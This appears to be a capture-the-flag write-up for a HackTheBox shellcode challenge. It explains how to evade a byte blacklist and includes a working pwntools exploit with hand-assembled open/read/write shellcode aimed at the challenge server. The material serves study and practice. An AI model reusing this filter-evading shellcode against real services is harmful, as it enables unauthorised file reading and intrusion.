$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Write shellcode to read flag.txt under a 60-byte limit with a 16-byte blacklist filter. Solution: Use open/read/write (ORW) syscall chain instead of blocked execve, XOR-encode the "flag.txt" string with key 0x22 to bypass banned bytes, substitute blocked instructions with push/pop equivalents, and decode the string at runtime with a compact loop.
Hey, just because I am hungry doesn't mean I'll execute everything
Remote: nc 83.136.253.132 37814
execute — ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not strippedexecute.c — Source codeflag.txt — Fake flag for local testing| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Partial |
| Stack | Executable (-z execstack) |
| NX | Disabled |
| PIE | Yes |
| Canary | No |
The binary reads up to 60 bytes of user input into a stack buffer, checks every byte against a 16-byte blacklist, and if all bytes pass — casts the buffer to a function pointer and calls it. Classic shellcode execution with a twist: a byte-level blacklist filter.
int check(char *a, char *b, int size, int op) { for(int i = 0; i < op; i++) { for(int j = 0; j < size-1; j++) { if(a[i] == b[j]) return 0; } } return 1337; }
The check() function iterates over every blacklist byte (a[i]) and every input byte (b[j]). If any match is found, it returns 0 (fail). Otherwise returns 1337 (pass).
| Hex | ASCII | Significance |
|---|---|---|
0x3b | ; | execve syscall number (59) |
0x54 | T | — |
0x62 | b | Part of /bin/sh |
0x69 | i | Part of /bin/sh |
0x6e | n | Part of /bin/sh |
0x73 | s | Part of /bin/sh |
0x68 | h | Part of /bin/sh + push imm32 opcode |
0xf6 | — | Used in xor rsi, rsi encoding |
0xd2 | — | Used in xor rdx, rdx encoding |
0xc0 | — | Used in xor rax, rax / xor eax, eax encoding |
0x5f | _ | pop rdi opcode |
0xc9 | — | leave / used in xor ecx, ecx |
0x66 | f | Part of "flag" + operand size prefix |
0x6c | l | Part of "flag" |
0x61 | a | Part of "flag" |
0x67 | g | Part of "flag" + address size prefix |
execve("/bin/sh", ...) — Completely blocked: syscall number 0x3b, all chars of /bin/sh, and pop rdi (0x5f) are banned.xor rax,rax (uses 0xc0), xor rsi,rsi (uses 0xf6), xor rdx,rdx (uses 0xd2).push imm32 (0x68) — Can't push strings directly onto stack.pop rdi (0x5f) — Can't use standard calling convention setup.syscall (0x0f 0x05)push imm8; pop reg pattern (e.g., 6a 00 58 for zeroing rax)mov rdi, rsp (0x48 0x89 0xe7)movabs rax, imm64 (0x48 0xb8 ...)xor byte [rdi], imm8 (0x80 0x37 KEY)xchg rax, rdi (0x48 0x97)loop (0xe2)Since execve is too heavily restricted, use a file-reading shellcode chain:
open("flag.txt", O_RDONLY) — syscall 2read(fd, buffer, 80) — syscall 0write(STDOUT, buffer, 80) — syscall 1String encoding: XOR-encode "flag.txt" with key 0x22:
"flag.txt" = 66 6c 61 67 2e 74 78 74
XOR 0x22 = 44 4e 43 45 0c 56 5a 56 (all clean!)
Key 0x22 was chosen because ALL encoded bytes avoid the blacklist.
Instruction substitutions:
| Blocked instruction | Replacement | Bytes |
|---|---|---|
xor rax, rax (uses 0xc0) | push 0; pop rax | 6a 00 58 |
xor rsi, rsi (uses 0xf6) | push 0; pop rsi | 6a 00 5e |
xor rdx, rdx (uses 0xd2) | push 0; pop rdx | 6a 00 5a |
pop rdi (0x5f) | mov rdi, rsp or xchg rax, rdi | 48 89 e7 / 48 97 |
push imm32 (0x68) | movabs rax, imm64; push rax | 48 b8 ... 50 |
Phase 1 — String setup (13 bytes):
push 0 ; null terminator qword movabs rax, 0x565a560c45434e44 ; XOR-encoded "flag.txt" push rax ; string on stack
Phase 2 — XOR decode loop (14 bytes):
mov rdi, rsp ; point to encoded string push 8; pop rcx ; counter = 8 .loop: xor byte [rdi], 0x22 ; decode one byte inc rdi loop .loop ; decrement rcx, jump if != 0
Phase 3 — open("flag.txt", 0) (11 bytes):
mov rdi, rsp ; filename pointer push 0; pop rsi ; flags = O_RDONLY push 2; pop rax ; syscall 2 = open syscall
Phase 4 — read(fd, rsp, 0x50) (13 bytes):
xchg rax, rdi ; fd from open() into rdi mov rsi, rsp ; buffer = stack push 0x50; pop rdx ; count = 80 push 0; pop rax ; syscall 0 = read syscall
Phase 5 — write(1, rsp, 0x50) (9 bytes):
xor edi, edi ; rdi = 0 inc edi ; rdi = 1 (stdout) push 1; pop rax ; syscall 1 = write syscall ; rsi/rdx preserved from read()
#!/usr/bin/env python3 from pwn import * context.arch = "amd64" HOST = "83.136.253.132" PORT = 37814 BLACKLIST = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67") sc = b"" # Phase 1: Push XOR-encoded "flag.txt\0" on stack (13 bytes) sc += b"\x6a\x00" # push 0 sc += b"\x48\xb8\x44\x4e\x43\x45\x0c\x56\x5a\x56" # movabs rax, encoded sc += b"\x50" # push rax # Phase 2: XOR decode loop (14 bytes) sc += b"\x48\x89\xe7" # mov rdi, rsp sc += b"\x6a\x08\x59" # push 8; pop rcx sc += b"\x80\x37\x22" # xor byte [rdi], 0x22 sc += b"\x48\xff\xc7" # inc rdi sc += b"\xe2\xf8" # loop -8 # Phase 3: open("flag.txt", 0) (11 bytes) sc += b"\x48\x89\xe7" # mov rdi, rsp sc += b"\x6a\x00\x5e" # push 0; pop rsi sc += b"\x6a\x02\x58" # push 2; pop rax sc += b"\x0f\x05" # syscall # Phase 4: read(fd, rsp, 0x50) (13 bytes) sc += b"\x48\x97" # xchg rax, rdi sc += b"\x48\x89\xe6" # mov rsi, rsp sc += b"\x6a\x50\x5a" # push 0x50; pop rdx sc += b"\x6a\x00\x58" # push 0; pop rax sc += b"\x0f\x05" # syscall # Phase 5: write(1, rsp, 0x50) (9 bytes) sc += b"\x31\xff" # xor edi, edi sc += b"\xff\xc7" # inc edi sc += b"\x6a\x01\x58" # push 1; pop rax sc += b"\x0f\x05" # syscall assert len(sc) == 60 for i, b in enumerate(sc): assert b not in BLACKLIST, f"Bad byte 0x{b:02x} at offset {i}" r = remote(HOST, PORT) r.recvuntil(b"everything\n") r.send(sc) result = r.recvall(timeout=5) if b"HTB{" in result: flag = result[result.index(b"HTB{"):result.index(b"}") + 1] print(f"FLAG: {flag.decode()}")
Use this technique when you see:
execve syscall number (0x3b) is banned — switch to ORW chainpush imm8; pop reg as universal substitute for xor reg, regxchg rax, rdi (2 bytes) instead of mov rdi, rax (3 bytes), loop for compact iterationexecve is restricted, open/read/write is the reliable fallback for flag exfiltration.push/pop is almost universally clean and can replace most register operations.xor byte instructions (40 bytes).$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar